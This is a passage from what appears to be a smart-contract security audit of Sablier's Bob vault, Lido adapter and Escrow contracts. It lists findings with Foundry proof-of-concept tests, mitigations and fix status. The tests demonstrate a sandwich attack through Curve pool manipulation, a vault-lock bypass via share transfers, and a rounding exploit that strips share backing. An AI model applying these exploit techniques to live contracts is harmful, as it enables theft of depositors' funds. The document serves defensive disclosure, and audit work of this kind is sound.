Proof of Concept: The PoC requires a small backward-compatible addition to `MockCurvePool` in `tests/bob/mocks/MockLido.sol` — a `poolManipulationBps` variable that affects both `get_dy` and `exchange`, simulating an attacker skewing the pool's reserves via flashloan. When set, both functions return depressed values (matching real Curve behavior where spot price queries and swaps read the same reserves):

```
@ bob/tests/bob/mocks/MockLido.sol:109 @ contract MockCurvePool is ICurveStETHPool {
    /// @dev Slippage in basis points (e.g., 100 = 1% less than expected).
    uint256 public actualSlippage;

+   /// @dev Pool manipulation in basis points - simulates an attacker skewing reserves.
+   /// Affects BOTH get_dy and exchange (the spot price the pool reports).
+   uint256 public poolManipulationBps;

    constructor(address stETH_) {
        STETH = stETH_;
    }
@ bob/tests/bob/mocks/MockLido.sol:120 @ contract MockCurvePool is ICurveStETHPool {
    function exchange(int128, int128, uint256 dx, uint256) external payable override returns (uint256) {
        IStETH(STETH).transferFrom(msg.sender, address(this), dx);

-       // Calculate actual output with slippage simulation.
-       uint256 actualOutput = (dx * (10_000 - actualSlippage)) / 10_000;
+      // Calculate actual output with pool manipulation and slippage simulation.
+       uint256 actualOutput = dx;
+       if (poolManipulationBps > 0) {
+           actualOutput = (actualOutput * (10_000 - poolManipulationBps)) / 10_000;
+       }
+       if (actualSlippage > 0) {
+           actualOutput = (actualOutput * (10_000 - actualSlippage)) / 10_000;
+       }

        (bool success,) = msg.sender.call{ value: actualOutput }("");
        require(success, "ETH transfer failed");
        return actualOutput;
    }

-   function get_dy(int128, int128, uint256 dx) external pure override returns (uint256) {
-       // Always returns the expected 1:1 rate (no slippage in the quote).
+   function get_dy(int128, int128, uint256 dx) external view override returns (uint256) {
+       // When pool is manipulated, get_dy reflects the manipulated reserves.
+       if (poolManipulationBps > 0) {
+           return (dx * (10_000 - poolManipulationBps)) / 10_000;
+       }
        return dx;
    }

@ bob/tests/bob/mocks/MockLido.sol:148 @ contract MockCurvePool is ICurveStETHPool {
        actualSlippage = slippageBps;
    }

+   /// @notice Simulates an attacker manipulating pool reserves (e.g., via flashloan).
+   /// Affects both get_dy and exchange, modeling how a real sandwich attack works.
+   /// @param bps Manipulation in basis points (e.g., 400 = 4% price depression).
+   function setPoolManipulation(uint256 bps) external {
+       poolManipulationBps = bps;
+   }

    receive() external payable { }
}
```

Add the following test to `tests/bob/integration/concrete/unstake-full-amount/unstakeFullAmountPoC.t.sol`:

```
/// Demonstrates a sandwich attack on unstakeTokensViaAdapter:
```

```
/// 1. Normal path: unstake without pool manipulation → fair WETH received
/// 2. Sandwich path: attacker manipulates pool reserves before unstaking →
///    get_dy returns depressed price, minEthOut is derived from depressed price,
///    exchange executes at depressed price and PASSES the slippage check
/// 3. Compare: sandwich path yields significantly less WETH, permanently
///    reducing _wethReceivedAfterUnstaking for all users in the vault
function test_PoC_SandwichAttackOnUnstaking() external {
    // Setup: create adapter vault, three users deposit 10 WETH each
    uint256 vaultId = createVaultWithAdapter();
    uint128 depositAmount = 10e18;

    setMsgSender(users.depositor);
    bob.enter(vaultId, depositAmount);

    setMsgSender(users.depositor2);
    bob.enter(vaultId, depositAmount);

    setMsgSender(users.alice);
    bob.enter(vaultId, depositAmount);

    // Total deposited: 30 WETH. Warp past expiry
    vm.warp(EXPIRY + 1);

    // ====== SNAPSHOT ======
    uint256 snapshotId = vm.snapshot();

    // ====== NORMAL PATH: unstake without manipulation ======
    bob.unstakeTokensViaAdapter(vaultId);
    uint256 normalWethReceived = adapter.getWethReceivedAfterUnstaking(vaultId);

    // ====== REVERT TO SNAPSHOT ======
    vm.revertTo(snapshotId);

    // ====== SANDWICH PATH: attacker manipulates pool before unstaking ======
    // Simulate attacker front-running: dumps stETH into Curve pool,
    // depressing the stETH/ETH rate by 4%.
    // Both get_dy and exchange now reflect the manipulated reserves.
    curvePool.setPoolManipulation(400); // 4% price depression

    // Attacker calls unstakeTokensViaAdapter (it's permissionless!)
    // Inside _wstETHToWeth:
    //   get_dy returns depressed value (manipulated reserves)
    //   minEthOut = depressed value * (1 - 0.5% tolerance) - even lower
    //   exchange executes at depressed rate - passes the check!
    bob.unstakeTokensViaAdapter(vaultId);
    uint256 sandwichWethReceived = adapter.getWethReceivedAfterUnstaking(vaultId);

    // Attacker back-runs: removes stETH from pool, profits from recovery
    curvePool.setPoolManipulation(0);

    // ====== VERIFY: sandwich reduced WETH received ======
    uint256 wethStolen = normalWethReceived - sandwichWethReceived;

    // The sandwich depressed the received WETH by ~4%
    assertGt(wethStolen, 0, "Sandwich should reduce WETH received");
    assertGt(
        wethStolen,
        (normalWethReceived * 3) / 100, // at least 3% loss
        "Loss should be significant (>3% of normal amount)"
    );

    // ====== VERIFY: slippage check did NOT protect users ======
    // The fact that unstakeTokensViaAdapter succeeded (didn't revert)
```

```
    // proves the circular slippage check passed despite 4% manipulation.
    assertGt(sandwichWethReceived, 0, "Unstaking succeeded despite manipulation");

    // ====== VERIFY: all users' redemptions are permanently affected ======
    setMsgSender(users.depositor);
    (uint128 depositorRedeem,) = bob.redeem(vaultId);

    // User should have received ~10 WETH worth (their 1/3 share),
    // but instead receives ~4% less due to the sandwich
    uint256 expectedFairShare = normalWethReceived / 3;
    uint256 actualShare = uint256(depositorRedeem);

    assertLt(actualShare, expectedFairShare, "User received less than fair share");
    uint256 userLoss = expectedFairShare - actualShare;
    assertGt(
        userLoss,
        (expectedFairShare * 3) / 100, // at least 3% loss per user
        "Per-user loss should be significant (>3%)"
    );
}
```

Run with: `forge test --match-test test_PoC_SandwichAttackOnUnstaking -vvv`

Recommended Mitigation: Replace the circular spot-price slippage protection with an external price reference. Options include:

1. **Use Chainlink stETH/ETH oracle for** `minEthOut`: The protocol already integrates Chainlink oracles — use a stETH/ETH feed (or derive the rate from stETH/USD and ETH/USD feeds) as the price reference instead of the manipulable Curve spot price:

```
function _wstETHToWeth(uint128 wstETHAmount) private returns (uint128 wethReceived) {
    uint256 stETHAmount = IWstETH(WSTETH).unwrap(wstETHAmount);

    // Use oracle price instead of spot price for minEthOut
    uint256 oraclePrice = _getStETHToETHOraclePrice();
    uint256 fairEthOut = stETHAmount * oraclePrice / 1e18;
    uint256 minEthOut = ud(fairEthOut).mul(UNIT.sub(slippageTolerance)).unwrap();

    uint256 ethReceived = ICurveStETHPool(CURVE_POOL).exchange(1, 0, stETHAmount, minEthOut);
    // ...
}
```

2. **Allow caller to specify** `minEthOut`: Let the caller provide the minimum acceptable output computed off-chain, so they can use fair market data:

```
function unstakeTokensViaAdapter(uint256 vaultId, uint256 minEthOut) external;
```

3. **Use Lido's native withdrawal queue**: Lido withdrawals process at the protocol-determined exchange rate (not a DEX spot price), eliminating the manipulation surface entirely.

Sablier: Fixed in commits:

- 2e0abaf - the Curve `get_dy` spot price reference has been replaced with a Chainlink oracle; `SablierLidoAdapter::_swapWstETHToWeth` now uses `STETH_ETH_ORACLE`
- 7fae842 - after mitigation review, a check has been added to revert if the oracle price is zero, to avoid zero slippage swaps if the oracle is misbehaving. No other oracle-related checks were added to provide a balance between protecting the user but also allowing them to exit; we don't want their tokens to be locked forever simply because the oracle has problems.

Cyfrin: Verified; we note that the curve swap can execute with stale prices. This appears to be a design decision which:

- allows users to exit even if the Oracle is not behaving 100% correctly

- only reverts in the case that an unlimited slippage swap (oracle price is zero)

7.3 Medium Risk

7.3.1 Users can bypass vault lock and withdraw at any time

Description: A user can bypass the vault lock to withdraw at any time by:

- Transferring their `BobVaultShare` to a different address
- Calling `SablierBob::enter` from the new address with a small amount of additional tokens
- Calling `SablierBob::exitWithinGracePeriod` from the new address to withdraw the total balance including the originally locked deposit

This works because `exitWithinGracePeriod` (`SablierBob.sol:237-287`) only checks that the caller has a `_firstDepositTimes` entry and is within the grace period. It burns the caller's entire share balance (line 248), not just the amount they deposited:

```
uint128 amount = vault.shareToken.balanceOf(msg.sender).toUint128();
```

When the new address calls `enter` with even 1 wei, it gets a fresh `_firstDepositTimes` entry (line 213-215). Combined with the transferred shares, `exitWithinGracePeriod` then burns and returns everything.

Impact: The vault's purpose is to lock tokens until a price target is reached or the expiry passes. This bypass completely defeats the lock mechanism — any user can withdraw at any time while the vault is still ACTIVE, at the cost of 1 additional token. This undermines the core value proposition of the protocol.

Proof of Concept: Add the following test to `tests/bob/integration/concrete/exit-within-grace-period/exitWithinGracePeriodPoC.t.sol`:

```
/// A user can bypass the vault lock by:
/// 1. Transferring BobVaultShare to a different address
/// 2. Calling enter from the new address with a small amount
/// 3. Calling exitWithinGracePeriod to withdraw everything including the locked deposit
function test_PoC_BypassVaultLock() external {
    uint256 vaultId = createDefaultVault();
    uint128 depositAmount = DEPOSIT_AMOUNT; // 10_000e18

    // User A deposits into the vault
    setMsgSender(users.depositor);
    bob.enter(vaultId, depositAmount);
    IERC20 shareToken = IERC20(address(bob.getShareToken(vaultId)));
    assertEq(shareToken.balanceOf(users.depositor), depositAmount, "A has shares");

    // Grace period expires - user A should be locked in
    vm.warp(block.timestamp + 4 hours + 1);

    // Verify A can no longer exit via grace period
    uint40 depositedAt = bob.getFirstDepositTime(vaultId, users.depositor);
    uint40 gracePeriodEnd = depositedAt + 4 hours;
    vm.expectRevert(
        abi.encodeWithSelector(
            Errors.SablierBob_GracePeriodExpired.selector, vaultId, users.depositor, depositedAt,
            ↪  gracePeriodEnd
        )
    );
    bob.exitWithinGracePeriod(vaultId);

    // A transfers all shares to address B (same person, different address)
    shareToken.transfer(users.depositor2, depositAmount);
    assertEq(shareToken.balanceOf(users.depositor), 0, "A transferred all shares");
    assertEq(shareToken.balanceOf(users.depositor2), depositAmount, "B received shares");

    // B deposits 1 wei to get a fresh _firstDepositTimes entry
    setMsgSender(users.depositor2);
    bob.enter(vaultId, 1);
```

```
    // B now has all shares + 1 and a fresh grace period
    assertEq(shareToken.balanceOf(users.depositor2), depositAmount + 1, "B has all shares + 1");

    // B exits within grace period - withdraws EVERYTHING including A's locked deposit
    uint256 tokenBalanceBefore = dai.balanceOf(users.depositor2);
    bob.exitWithinGracePeriod(vaultId);
    uint256 tokensReceived = dai.balanceOf(users.depositor2) - tokenBalanceBefore;

    // B received the full amount: the originally locked deposit + 1 wei
    assertEq(tokensReceived, depositAmount + 1, "EXPLOIT: withdrew all tokens including locked
    ↪  deposit");
    assertEq(shareToken.balanceOf(users.depositor2), 0, "B has no shares left");
}
```

Run with: `forge test --match-test test_PoC_BypassVaultLock -vvv`

Recommended Mitigation: Track the original deposit amount per user and only allow exiting with up to that amount during the grace period:

```
mapping(uint256 vaultId => mapping(address user => uint128 depositedAmount)) internal _userDeposits;
```

In `exitWithinGracePeriod`, use `min(shareBalance, _userDeposits[vaultId][msg.sender])` instead of the full share balance.

Sablier: Fixed in commit 74fa619 by removing the early exit grace period functionality.

Cyfrin: Verified.

7.3.2 Floor division in `SablierLidoAdapter::updateStakedTokenBalance` allows transferring `BobVaultShares` without moving wstETH backing

Description: In `SablierLidoAdapter::updateStakedTokenBalance` (`SablierLidoAdapter.sol:352`), the wstETH to transfer is computed using floor division:

```
uint128 wstETHToTransfer = (fromWstETH * shareAmountTransferred /
↪  userShareBalanceBeforeTransfer).toUint128();
```

When `fromWstETH * shareAmountTransferred < userShareBalanceBeforeTransfer`, floor division truncates `wstETHToTransfer` to 0. This is easily triggered because the wstETH exchange rate is less than 1:1 with shares — a deposit of N WETH mints N shares but produces less than N wstETH (e.g., with a 0.9 exchange rate, 1000 shares correspond to 900 wstETH). As a result, any 1-wei share transfer satisfies the rounding-to-zero condition: `900 * 1 / 1000 = 0`.

By transferring `BobVaultShares` in 1-wei increments instead of a single bulk transfer, a sender can move an arbitrary number of shares to a recipient while retaining all of their wstETH backing. The recipient ends up holding worthless shares with zero wstETH attribution. Since `SablierLidoAdapter::calculateAmountToTransferWithYield` computes WETH payouts based on `_userWstETH` (not share balances), the recipient receives zero WETH when they redeem.

Impact: Any user who receives `BobVaultShare` tokens via small incremental transfers (e.g., buying shares OTC, receiving from a vault share marketplace, or receiving via any transfer mechanism that uses small amounts) will have shares with no wstETH backing. When they redeem after vault settlement/expiry, they receive zero WETH despite holding valid shares.

The sender retains all wstETH backing and receives a disproportionately large WETH payout on redemption. This creates a direct loss for share recipients and a corresponding gain for senders who exploit the rounding.

Proof of Concept: Add the following test to `tests/bob/integration/concrete/adapter/adapterPoC.t.sol`:

```
/// - Normal path: A transfers 99 shares to B in one transfer, both redeem
///   and receive proportional WETH
/// - Exploit path: A transfers 99 shares to B in 1-wei increments, both redeem
```

```
///   but B receives ZERO WETH while A receives almost everything
///
/// Uses a 1000-wei deposit. With exchange rate 0.9, wstETH = 900.
/// Transferring 99 shares (1000→901) keeps shares > wstETH throughout,
/// so every 1-wei transfer rounds wstETHToTransfer to 0.
function test_PoC_SmallTransfersMakeSharesWorthless() external {
    // Setup: create adapter vault, user A deposits 1000 wei
    uint256 vaultId = createVaultWithAdapter();
    uint128 depositAmount = 1000;

    setMsgSender(users.depositor); // User A
    bob.enter(vaultId, depositAmount);

    uint128 wstETHInitial = adapter.getYieldBearingTokenBalanceFor(vaultId, users.depositor);
    assertGt(wstETHInitial, 0, "A should have wstETH after deposit");

    // Expire vault and unstake all tokens to WETH
    vm.warp(EXPIRY + 1);
    bob.unstakeTokensViaAdapter(vaultId);

    uint256 totalWeth = adapter.getWethReceivedAfterUnstaking(vaultId);
    assertGt(totalWeth, 0, "vault should have WETH after unstaking");

    IERC20 shareToken = IERC20(address(bob.getShareToken(vaultId)));
    uint128 transferAmount = 99; // A keeps 901 shares so both can redeem

    // ====== SNAPSHOT ======
    uint256 snapshotId = vm.snapshot();

    // ====== NORMAL PATH: A transfers 99 shares to B in one transfer ======
    setMsgSender(users.depositor);
    shareToken.transfer(users.depositor2, transferAmount);

    // Both redeem
    setMsgSender(users.depositor);
    (uint128 normalRedeemA,) = bob.redeem(vaultId);

    setMsgSender(users.depositor2);
    (uint128 normalRedeemB,) = bob.redeem(vaultId);

    // ====== REVERT TO SNAPSHOT ======
    vm.revertTo(snapshotId);

    // ====== EXPLOIT PATH: A transfers 99 shares to B in 1-wei increments ======
    setMsgSender(users.depositor);
    for (uint256 i; i < transferAmount; i++) {
        shareToken.transfer(users.depositor2, 1);
    }

    // Verify state: B has 99 shares but ZERO wstETH; A has 901 shares and ALL wstETH
    assertEq(
        shareToken.balanceOf(users.depositor),
        depositAmount - transferAmount,
        "A has 901 shares"
    );
    assertEq(shareToken.balanceOf(users.depositor2), transferAmount, "B has 99 shares");
    assertEq(
        adapter.getYieldBearingTokenBalanceFor(vaultId, users.depositor2),
        0,
        "BUG: B has 0 wstETH despite holding 99 shares"
    );
    assertEq(
        adapter.getYieldBearingTokenBalanceFor(vaultId, users.depositor),
```

```
        wstETHInitial,
        "BUG: A retained all wstETH despite transferring 99 shares"
    );

    // Both redeem
    setMsgSender(users.depositor);
    (uint128 exploitRedeemA,) = bob.redeem(vaultId);

    setMsgSender(users.depositor2);
    (uint128 exploitRedeemB,) = bob.redeem(vaultId);

    // ====== COMPARE RESULTS ======
    // Normal path: B gets proportional WETH
    assertGt(normalRedeemB, 0, "Normal: B received WETH");

    // Exploit path: B gets ZERO despite holding shares
    assertEq(exploitRedeemB, 0, "Exploit: B received ZERO WETH despite holding 99 shares");

    // Exploit path: A gets nearly all WETH
    assertGt(exploitRedeemA, normalRedeemA, "Exploit: A received MORE than in normal path");
}
```

Run with: `forge test --match-test test_PoC_SmallTransfersMakeSharesWorthless -vvv`

Recommended Mitigation: A simple mitigation is to revert in `SablierLidoAdapter::updateStakedTokenBalance` if `wstETHToTransfer == 0`.

Sablier: Fixed in commit 3c669df.

Cyfrin: Verified.

7.3.3 Immutable Curve pool dependency creates long-term redemption risk for adapter vaults

Description: `SablierLidoAdapter` uses an immutable `CURVE_POOL` address (`SablierLidoAdapter.sol:36`) as the **sole exit path** from stETH back to ETH during unstaking. The entire redemption flow for adapter vaults depends on this single Curve pool:

```
// SablierLidoAdapter.sol:367-389 - the ONLY path from wstETH to WETH
function _wstETHToWeth(uint128 wstETHAmount) private returns (uint128 wethReceived) {
    uint256 stETHAmount = IWstETH(WSTETH).unwrap(wstETHAmount);
    uint256 expectedEthOut = ICurveStETHPool(CURVE_POOL).get_dy(1, 0, stETHAmount);
    uint256 minEthOut = ud(expectedEthOut).mul(UNIT.sub(slippageTolerance)).unwrap();
    uint256 ethReceived = ICurveStETHPool(CURVE_POOL).exchange(1, 0, stETHAmount, minEthOut);
    // ...
}
```

Bob vaults are designed to lock tokens for potentially long durations — years or even decades. During this time:

- `CURVE_POOL` is immutable; there is no setter or migration function
- There is no fallback exit path (e.g., Lido's native withdrawal queue)
- There is no admin rescue function to recover stuck wstETH
- There is no alternative DEX or liquidity source

If the specific Curve stETH/ETH pool referenced by `CURVE_POOL` loses liquidity, is deprecated, migrates to a new version, or becomes non-functional at any point during a vault's lifetime, all adapter vault redemptions permanently revert. The wstETH remains locked in the adapter with no recovery mechanism.

Notably, Lido introduced a native withdrawal queue (mid-2023) that provides a guaranteed 1:1 stETH→ETH exit without any DEX liquidity dependency. The adapter does not use this as either a primary or fallback path.

Impact: All adapter vaults become permanently unredeemable if the immutable Curve pool becomes unusable. The staked WETH (plus accumulated yield) is locked forever. This affects every user who entered an adapter vault, with no admin intervention possible.

The likelihood is low since the Curve stETH/ETH pool is one of the most established DeFi pools, but the 10-20 year vault horizons exceed the entire lifespan of DeFi to date. Any of the following could trigger the issue: Curve v1 deprecation, pool migration to Curve v2/v3, governance-mandated pool shutdown, or sustained liquidity drain.

Recommended Mitigation: Add Lido's native withdrawal queue as a fallback (or primary) unstaking path. This provides a guaranteed 1:1 exit that doesn't depend on any DEX liquidity:

```
// Add as a fallback when Curve swap fails or as the primary path
ILidoWithdrawalQueue(WITHDRAWAL_QUEUE).requestWithdrawals(amounts, address(this));
// ... wait for finalization ...
ILidoWithdrawalQueue(WITHDRAWAL_QUEUE).claimWithdrawals(requestIds, hints);
```

Alternatively, make the Curve pool address updatable by the comptroller so it can be migrated to a new pool if the original is deprecated:

```
function setCurvePool(address newPool) external onlyComptroller {
    curvePool = newPool;
    IStETH(STETH).approve(newPool, type(uint256).max);
}
```

Sablier: Fixed in commits:

- f9c14e2 - integrating Lido native withdrawal
- 6ddfaac - implement mitigation feedback to prevent vault unstaked via Curve from also being used to initiate Lido withdrawals

Cyfrin: Verified; there are now two exclusive options for redemption: Curve & Lido Withdrawals. For a given vault:

- if no Lido withdrawal has been initiated, any user can initiate a Curve redemption which prevents subsequent Lido withdrawals for the same vault
- if no Curve redemption has been initiated, the `Comptroller` can initiate a Lido Withdrawal which prevents Curve redemptions for the same vault

7.3.4 Custom `comptroller` fees are ignored in `SablierBob::redeem`

Description: `SablierComptroller::setCustomFeeUSDFor` allows `FEE_MANAGEMENT_ROLE` to set custom fees for a particular protocol (in this case the Bob protocol) and the user:

```
function setCustomFeeUSDFor(
        Protocol protocol,
        address user,
        uint256 customFeeUSD
    )
        external
        override
        onlyRole(FEE_MANAGEMENT_ROLE)
        notExceedMaxFeeUSD(customFeeUSD)
    {
        ... ... ...

        // Effect: enable the custom fee, if it is not already enabled.
        if (!_protocolFees[protocol].customFeesUSD[user].enabled) {
            _protocolFees[protocol].customFeesUSD[user].enabled = true;
        }

        // Effect: update the custom fee for the provided protocol and user.
        _protocolFees[protocol].customFeesUSD[user].fee = customFeeUSD;
```

```
        ... ...  ...
```

However `SablierBob::redeem` utilizes `SablierComptroller::calculateMinFeeWei` which only considers the `minFeeUSD` member and ignores any custom fees configured, leading to lower or higher fees being collected from users than intended. This especially becomes problematic if certain users are expected to receive discounted or no fees due to other external factors/criteria:

```
uint256 minFeeWei = comptroller.calculateMinFeeWei({ protocol: ISablierComptroller.Protocol.Bob });
```

Recommended Mitigation: Use `SablierComptroller::calculateMinFeeWeiFor` instead of `calculateMinFeeWei`.

Sablier: Acknowledged. This is an intentional design choice. We prefer to apply a global fee rather than adjusting fees on a per-user basis.

7.4 Low Risk

7.4.1 `SablierEscrow` buyers and sellers can't set max fee slippage

Description: The comptroller can change trade fees via `SablierEscrow::setTradeFee` however buyers and sellers can't set their preferred max fee slippage.

Hence the comptroller could front-run a call to `SablierEscrow::fillOrder` by increasing the fee such that the buyer and seller receive less tokens than expected, or the fee could be changed organically after the order was created but before it was filled.

That said there is a hardcoded `MAX_TRADE_FEE` which does offer some protection.

Recommended Mitigation: Consider allowing the buyers and sellers to set a `maxTradeFee` parameter which prevents the order from being filled if the current trade fee is greater. Alternatively consider snapshotting the current fee at creation time similar to `SablierLidoAdapter::registerVault`.

Sablier: Acknowledged; not allowing traders to set max trade slippage is a business decision. Since the fee cannot exceed `MAX_TRADE_FEE`, if we set it to 2% (thats what we will do it in practice), it should mitigate the issue of charging high fees.

7.4.2 `feeAmount` never set when no vault adapter used in `SablierBob::redeem`

Description: When no vault adapter is used in `SablierBob::redeem`, the output `feeAmount` is never set even though:

- the user does pay a fee as `msg.value`
- `feeAmount` is returned as an output variable and also emitted in the `Redeem` event

Sablier: Fixed in commit 75448ba by renaming `feeAmount` to `feeAmountDeductedFromYield` to make it explicit that this applies only when vault adapters are used.

Cyfrin: Verified.

7.4.3 `SablierEscrow::fillOrder` lacks deadline parameter for buyer protection, same with swaps in `SablierLidoAdapter::_wstETHToWeth`

Description: `SablierEscrow::fillOrder` (`SablierEscrow.sol:167-243`) has no deadline/expiry parameter for the buyer's transaction. A buyer's fill transaction can sit in the mempool indefinitely and execute at a later time when market conditions have changed unfavorably.

Impact: A buyer submits a fill transaction at a favorable price. The transaction gets stuck in the mempool (low gas, network congestion). By the time it executes, the market price has moved significantly such that the buyer would have never filled in the current conditions. The buyer has no protection against stale execution; this is analogous to the well-known missing deadline parameter in AMM swaps.

Recommended Mitigation: Add an optional `deadline` parameter to `fillOrder`:

```
function fillOrder(uint256 orderId, uint128 buyAmount, uint40 deadline) external {
    if (deadline > 0 && block.timestamp > deadline) {
        revert Errors.SablierEscrow_Expired(deadline);
    }
    // ... rest of function
}
```

Similarly swaps occur inside `SablierLidoAdapter::_wstETHToWeth` but these transactions also don't have a deadline input.

Sablier: Acknowledged; we believe that, unlike AMMs, the setup here is different because: (i) in case the order has a specific buyer set, they know preemptively what the minimum price they will pay for is - and we expect it to be used as `buyAmount == minBuyAmount` - and there is no change to `minBuyAmount` during the time the tx is signed and actually included in the block (i.e. the time in the mempool) (ii) the order doesn't have a buyer set: here we expect to have a "race" condition for who gets the tx first - whether it's a human or an MEV bot.

7.4.4 `ExitWithinGracePeriod` event emits inaccurate `amountReceived` for adapter vaults

Description: In `SablierBob::exitWithinGracePeriod` (`SablierBob.sol:237-287`), the event always emits the share balance as `amountReceived`:

```
emit ExitWithinGracePeriod(vaultId, msg.sender, amount, amount);
```

For non-adapter vaults this is correct — tokens transfer 1:1 with shares. But for adapter vaults (line 278-280), the actual WETH received depends on the Curve stETH→ETH swap which is subject to slippage:

```
if (address(vault.adapter) != address(0)) {
    vault.adapter.unstakeForUserWithinGracePeriod(vaultId, msg.sender);
} else {
    vault.token.safeTransfer(msg.sender, amount);
}
```

`SablierLidoAdapter::unstakeForUserWithinGracePeriod` does not return the WETH received to the caller, so `SablierBob` has no way to emit the correct value. The adapter emits its own `UnstakeForUserWithinGracePeriod` event with the accurate amount in the same transaction, but the parent `ExitWithinGracePeriod` event's `amountReceived` is misleading.

Recommended Mitigation: Have `unstakeForUserWithinGracePeriod` return the WETH received, then use that value in the event:

```
if (address(vault.adapter) != address(0)) {
    uint128 received = vault.adapter.unstakeForUserWithinGracePeriod(vaultId, msg.sender);
    emit ExitWithinGracePeriod(vaultId, msg.sender, received, amount);
} else {
    vault.token.safeTransfer(msg.sender, amount);
    emit ExitWithinGracePeriod(vaultId, msg.sender, amount, amount);
}
```

Sablier: Fixed in commit 74fa619 by removing the early exit grace period functionality.

Cyfrin: Verified.

7.4.5 Excess ETH not refunded in non-adapter vault redemption

Description: In `SablierBob::redeem` (`SablierBob.sol:346-366`), for non-adapter vaults, the entire `msg.value` is forwarded to the comptroller without refunding any excess:

```
uint256 minFeeWei = comptroller.calculateMinFeeWei({ protocol: ISablierComptroller.Protocol.Bob });

if (msg.value < minFeeWei) {
    revert Errors.SablierBob_InsufficientFeePayment(msg.value, minFeeWei);
}

if (msg.value > 0) {
    (bool success,) = address(comptroller).call{ value: msg.value }("");
    if (!success) {
        revert Errors.SablierBob_NativeFeeTransferFailed();
    }
}
```

There is no refund of `msg.value - minFeeWei` to the caller.

Impact: If a user sends more ETH than the minimum fee (e.g., sends 1 ETH when `minFeeWei` is 0.001 ETH), the entire 1 ETH goes to the comptroller and the excess 0.999 ETH is permanently lost to the user. This is especially likely if:

- Users overestimate the required fee to avoid reverts
- `minFeeWei` changes between transaction submission and mining (user sends extra as buffer)

- Frontend miscalculates the fee amount

Proof of Concept: Add the following test to `tests/bob/integration/concrete/redeem/redeemPoC.t.sol`:

```
/// The ENTIRE msg.value is forwarded to the comptroller, even if it far exceeds
/// the minimum required fee. Users who overpay lose the excess permanently
function test_ExcessETHNotRefunded() external {
    // Set a non-zero minimum fee
    setMsgSender(admin);
    comptroller.setMinFeeUSD(ISablierComptroller.Protocol.Bob, 1e8); // $1

    // Create vault, deposit, expire
    setMsgSender(users.depositor);
    uint256 vaultId = createDefaultVault();
    bob.enter(vaultId, DEPOSIT_AMOUNT);
    vm.warp(EXPIRY + 1);

    // Get minFee and send 10x that amount
    uint256 minFee =
        comptroller.calculateMinFeeWeiFor({ protocol: ISablierComptroller.Protocol.Bob, user:
        ↪  users.depositor });
    assertGt(minFee, 0, "minFee should be > 0");
    uint256 overpayment = minFee * 10;

    uint256 comptrollerBefore = address(comptroller).balance;

    bob.redeem{ value: overpayment }(vaultId);

    // Entire overpayment went to comptroller - no refund to user
    assertEq(
        address(comptroller).balance - comptrollerBefore,
        overpayment,
        "CONFIRMED: full overpayment sent, no refund"
    );
}
```

Run with: `forge test --match-test test_ExcessETHNotRefunded -vvv`

Recommended Mitigation: Only forward the required fee and refund the excess (or alternatively, use `require(msg.value == minFeeWei)` to enforce exact payment):

```
if (msg.value > 0) {
    uint256 feeToSend = minFeeWei;
    (bool success,) = address(comptroller).call{ value: feeToSend }("");
    if (!success) {
        revert Errors.SablierBob_NativeFeeTransferFailed();
    }
    // Refund excess
    uint256 excess = msg.value - feeToSend;
    if (excess > 0) {
        (bool refundSuccess,) = msg.sender.call{ value: excess }("");
        if (!refundSuccess) {
            revert Errors.SablierBob_NativeRefundFailed();
        }
    }
}
```

Sablier: Acknowledged; this is by design and a business decision.

7.4.6 Fee calculations round in favor of the user instead of the protocol

Description: Fee calculations in both `SablierLidoAdapter` and `SablierEscrow` use `UD60x18::mul` which internally computes `(a * b) / 1e18` — this division truncates (rounds down). Since fees are amounts the protocol

collects, rounding down means the protocol receives less than the exact amount and the user retains more. The standard practice is to round fees up (in favor of the protocol).

In `SablierLidoAdapter::calculateAmountToTransferWithYield` (`SablierLidoAdapter.sol:186-187`):

```
feeAmount = ud(yieldAmount).mul(_vaultYieldFee[vaultId]).intoUint128();
amountToTransfer = userWethShare - feeAmount;
```

In `SablierEscrow::fillOrder` (`SablierEscrow.sol:212-217`):

```
feeDeductedFromBuyerAmount = ud(order.sellAmount).mul(currentTradeFee).intoUint128();
amountToTransferToBuyer -= feeDeductedFromBuyerAmount;

feeDeductedFromSellerAmount = ud(buyAmount).mul(currentTradeFee).intoUint128();
amountToTransferToSeller -= feeDeductedFromSellerAmount;
```

In all three cases, `mul` truncates, so the fee rounds down — against the protocol.

For comparison, the non-fee calculation `userWstETH * totalWeth / totalWstETH` correctly rounds down (user receives less, protocol retains dust).

Impact: The protocol collects slightly less fees than the exact amount on every redemption and trade. The per-transaction loss is at most 1 wei due to UD60x18's 18-decimal precision, but it accumulates over time and violates the principle that rounding should always favor the protocol.

Incorrect rounding directions have historically been used as part of blackhat exploit chains so using correct rounding directions is a good defensive practice.

Recommended Mitigation: Use ceiling division for fee calculations. PRBMath does not provide a `mulDiv18Up`, so add 1 wei when there is a remainder:

```
uint256 raw = ud(yieldAmount).mul(_vaultYieldFee[vaultId]).unwrap();
feeAmount = raw + 1; // round up by 1 wei to favor the protocol
```

Or implement a `mulDivUp` helper: `(a * b + denominator - 1) / denominator`.

Sablier: Acknowledged; we decided not to implement the change, we are ok with the dust.

7.4.7 Dust WETH permanently stuck in `SablierBob` after adapter vault redemptions

Description: In `SablierLidoAdapter::calculateAmountToTransferWithYield` (`SablierLidoAdapter.sol:178`), each user's WETH share is computed with truncating division:

```
uint128 userWethShare = (userWstETH * totalWeth / totalWstETH).toUint128();
```

Each truncation loses up to 1 wei. After all users of an adapter vault redeem, the sum of all individual `userWethShare` values is slightly less than `totalWeth`. The remainder stays in `SablierBob` as WETH with no sweep or recovery function.

For example, with 100 users in a vault, up to 99 wei of WETH could be permanently stuck after all redemptions complete.

Impact: The per-vault dust amount is negligible (at most `numUsers - 1` wei of WETH per vault). However, it accumulates across all adapter vaults over the protocol's lifetime and there is no mechanism to recover these funds. The impact is economic dust, not a security risk.

Recommended Mitigation: Add an admin-callable sweep function to recover residual WETH from fully-redeemed adapter vaults, or allow the last redeemer to receive the remaining balance instead of their truncated share.

Sablier: Acknowledged.

7.4.8 Seller `minBuyAmount` order parameter is not respected due to post application of trade fees

Description: The `SablierEscrow::fillOrder` function ensures that the `buyAmount` provided by the buyer is not lower than the `minBuyAmount` asked by the seller. However, the seller can receive an amount lower than `minBuyAmount` as trading fees are applied after the check.

```
// Check: the buy amount meets the minimum asked.
if (buyAmount < order.minBuyAmount) {
            revert Errors.SablierEscrow_InsufficientBuyAmount(buyAmount, order.minBuyAmount);
}

... ...

// Calculate the fee on the buy amount.
feeDeductedFromSellerAmount = ud(buyAmount).mul(currentTradeFee).intoUint128();
amountToTransferToSeller -= feeDeductedFromSellerAmount;
```

